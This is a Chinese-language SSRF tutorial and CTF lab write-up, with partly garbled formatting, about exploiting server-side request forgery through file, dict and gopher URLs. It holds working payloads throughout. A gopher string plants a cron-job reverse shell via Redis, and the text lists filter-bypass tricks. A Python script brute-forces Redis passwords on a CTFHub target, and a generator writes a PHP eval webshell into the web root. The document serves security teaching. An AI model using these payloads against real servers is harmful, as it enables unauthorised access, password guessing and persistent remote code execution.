SSRF
一、概念
SSRF (Server-Side Request
Forgery,服务器端请求伪造)是一种由攻击者构造请求,由服务端发起请求的安全漏洞。一般情况下,SSRF攻击的目标是外网无法访问的内部系统(正因为请求是由服务端发起的,所以服务端能请求到与自身相连而与外网隔离的内部系统)。
二、SSRF漏洞原理
SSRF的形成大多是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。例如,黑客操作服务端从指定URL地址获取网页文本内容,加载指定地址的图片等,利用的是服务端的请求伪造。SSRF利用存在缺陷的Web应用作为代理攻击远程和本地的服务器。
主要攻击方式如下所示。
对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息。
攻击运行在内网或本地的应用程序。
对内网Web应用进行指纹识别,识别企业内部的资产信息。
攻击内外网的Web应用,主要是使用HTTP
GET请求就可以实现的攻击(比如struts2、SQli等)。
利用file协议读取本地文件等。
三、漏洞函数
file_get_contents()、fsockopen()、curl_exec()、fopen()、readfile()
举例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php $url = $_GET ['url' ];;echo file_get_contents ($url );?> <?php function GetFile ($host ,$port ,$link ) { $fp = fsockopen ($host , intval ($port ), $errno , $errstr , 30 ); if (!$fp ) { echo "$errstr (error number $errno ) \n" ; } else { $out = "GET $link HTTP/1.1\r\n" ; $out .= "Host: $host \r\n" ; $out .= "Connection: Close\r\n\r\n" ; $out .= "\r\n" ; fwrite ($fp , $out ); $contents ='' ; while (!feof ($fp )) { $contents .= fgets ($fp , 1024 ); } fclose ($fp ); return $contents ; } }?> payload: http: http:
四、协议
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php echo "test ssrf<br>input param \"url\"" ;function curl ($url ) { $ch = curl_init (); curl_setopt ($ch , CURLOPT_URL, $url ); curl_setopt ($ch , CURLOPT_HEADER, 0 ); curl_exec ($ch ); curl_close ($ch ); }$url = $_GET ['url' ];curl ($url ); ?>
file://
在有回显的情况下,利用 file 协议可以读取任意内容
1 http: //127.0.0.1/ssrf .php?url=file: ///c :/windows/win .ini
dict://
泄露安装软件版本信息,查看端口,操作内网redis服务等
一般配合/etc/hosts、proc/net/arp来发现内网网段
1 2 ttp:// 127.0 .0.1 /ssrf.php?url=dict:/ /127.0 .0.1 :80 http:// 127.0 .0.1 /ssrf.php?url=dict:/ /127.0.0.1:6379/i nfo
gopher://
gopher支持发出GET、POST请求:可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell
gopher协议格式:
URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流
,可以用来发起GET、POST的http请求。
特点:
gopher的默认端口是70
如果发起post请求,回车换行需要使用%0d%0a,如果多个参数,参数之间的&也需要进行URL编码
Gopher 的以下几点局限性:
大部分 PHP 并不会开启 fopen 的 gopher wrapper
file_get_contents 的 gopher 协议不能 URLencode
file_get_contents 关于 Gopher 的 302 跳转有 bug,导致利用失败
PHP 的 curl 默认不 follow 302 跳转
curl/libcurl 7.43 上 gopher 协议存在 bug(%00 截断),经测试 7.49
可用
1 2 3 http ://127.0.0.1 /ssrf.php?url=gopher%3 A//127.0.0.1 %3 A80/_GET%2520 /flag%2520 HTTP/1 .1 %250 D%250 AHost%253 A%2520127 .0 .0 .1 %253 A80%250 D%250 A%250 D%250 Agopher ://127.0.0.1:6379 /_*1 %0 d %0 a $8 %0 d %0 aflushall %0 d %0 a*3 %0 d %0 a $3 %0 d %0 aset %0 d %0 a $1 %0 d %0 a1 %0 d %0 a $64 %0 d %0 a %0 d %0 a %0 a %0 a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1 /4444 0 >&1 %0 a %0 a %0 a %0 a %0 a %0 d %0 a %0 d %0 a %0 d %0 a*4 %0 d %0 a $6 %0 d %0 aconfig %0 d %0 a $3 %0 d %0 aset %0 d %0 a $3 %0 d %0 adir %0 d %0 a $16 %0 d %0 a/var/spool/cron/ %0 d %0 a*4 %0 d %0 a $6 %0 d %0 aconfig %0 d %0 a $3 %0 d %0 aset %0 d %0 a $10 %0 d %0 adbfilename %0 d %0 a $4 %0 d %0 aroot %0 d %0 a*1 %0 d %0 a $4 %0 d %0 asave %0 d %0 aquit %0 d %0 a"
http://和https://
探测内网主机存活
五、绕过方式
@绕过
http://www.baidu.com@10.10.10.10与http://10.10.10.10请求是相同的。
点分割符号替换
在浏览器中可以使用不同的分割符号来代替域名中的.分割,可以使用。、。、.来代替:
1 2 3 http: //www。target。com http: //www。target。com http: //www.target.com
绕过127.0.0.1等本地ip
1 2 3 4 5 6 7 8 9 10 http://127.0.0.1 http://localhost http://127.255.255.254 127.0.0.1 - 127.255.255.254http:// [::1 ]http:// [::ffff:7f00:1 ]http:// [::ffff:127.0.0.1 ] http://127.1 http://127.0.1 http://0:80
ip的进制转换
1 2 3 4 8 进制格式:0300 .0250 .0 .1 16 进制格式:0 xC0.0 xA8.0 .1 10 进制整数格式:3232235521 16 进制整数格式:0 xC0A80001
特殊符号
1 2 3 4 5 6 7 8 ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
urlencode
1 2 3 4 5 6 7 data = "www.target.com" ; alist = []for x in data: for i in range (0 , len (x), 2 ): alist.append((x[i:i+2 ]).encode('hex' ))print ("http://%" +'%' .join(alist))
短网址
重定向
在vps上部署
1 2 3 4 <?php header ("Location: http://192.168.1.10" );exit ();?>
六、SSRF漏洞点挖掘
社交分享功能:获取超链接的标题等内容进行显示
转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
在线翻译:给网址翻译对应网页的内容
图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片
图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的体验
云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试
网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作
数据库内置功能:数据库的比如mongodb的copyDatabase函数
邮件系统:比如接收邮件服务器地址
编码处理,
属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等
未公开的api实现以及其他扩展调用URL的功能:可以利用google
语法加上这些关键字去寻找SSRF漏洞
从远程服务器请求资源(upload from url 如discuz!;import &
expost rss feed 如web blog;使用了xml引擎对象的地方 如wordpress
xmlrpc.php)
关键字:Share、wap、url、link、src、source、target、u、3g、display、sourceURL、imageURL、domain
七、漏洞利用复现
ssrf打redis
主要方法:
爆破密码
写shell
写入ssh公钥
定时任务反弹shell
主从复制
参考https://www.cnblogs.com/wjrblogs/p/14456190.html
环境:CTFHUB-SSRF-Redis协议
漏洞点:/?url=
img
xxxxxxxxxx npiet.exe -tpic download.png Python
img
尝试用gopher爆破密码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import requests target = "http://challenge-f6443f96c8918df3.sandbox.ctfhub.com:10800/?url=" rhost = "127.0.0.1" rport = "6379" with open ("passwd.txt" ,"r" ) as file: passwds = file.readlines() for passwd in passwds: passwd = passwd.strip("\n" ) len_pass = len (passwd) payload = r"gopher://" + rhost + ":" + rport + "/_%252A2%250d%250a%25244%250d%250aAUTH%250d%250a%2524" +str (len_pass)+r"%250d%250a" +passwd+r"%250D%250A%252A1%250D%250A" url = target+str (payload) text = requests.get(url).text if "OK" in text: print ("[+] 爆破成功 密码为: " + passwd) print (text + payload) break
无果,写shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 from urllib import parse protocol="gopher://" ip="127.0.0.1" port="6379" shell="\n\n<?php @eval($_POST['xxx']);?>\n\n" filename="shell.php" path="/var/www/html" passwd="" cmd=["flushall" , "set 1 {}" .format (shell.replace(" " ,"${IFS}" )), "config set dir {}" .format (path), "config set dbfilename {}" .format (filename), "save" ]if passwd: cmd.insert(0 ,"AUTH {}" .format (passwd)) payload=protocol+ip+":" +port+"/_" def redis_format (arr ): CRLF="\r\n" redis_arr = arr.split(" " ) cmd="" cmd+="*" +str (len (redis_arr)) for x in redis_arr: cmd+=CRLF+"$" +str (len ((x.replace("${IFS}" ," " ))))+CRLF+x.replace("${IFS}" ," " ) cmd+=CRLF return cmdif __name__=="__main__" : for x in cmd: payload += parse.quote(redis_format(x)) print (payload) print ("二次url编码后的结果:\n" ,parse.quote(payload))
生成gopher写shell的payload
img
写马,执行,成功
img
无法写入ssh公钥,原因:redis是www-data权限,写不进/root
无法写入定时计划反弹shell,原因:没有crontab命令
ssrf打mysql
参考
https://www.sqlsec.com/2021/12/bytectf2021.html
https://blog.foxsuzuran.top/2023/07/14/%e8%ae%b0%e4%b8%80%e6%ac%a1%e6%94%bb%e5%87%bbssrf%e9%9d%b6%e5%9c%babytectf2021-final-seo%e7%9a%84%e7%bb%8f%e8%bf%87/
ssrf dict探测到有3306。利用Gopherus 生成payload探测mysql有无密码
注意Gopherus无法直接生成udf的payload(会截断),需要改一下代码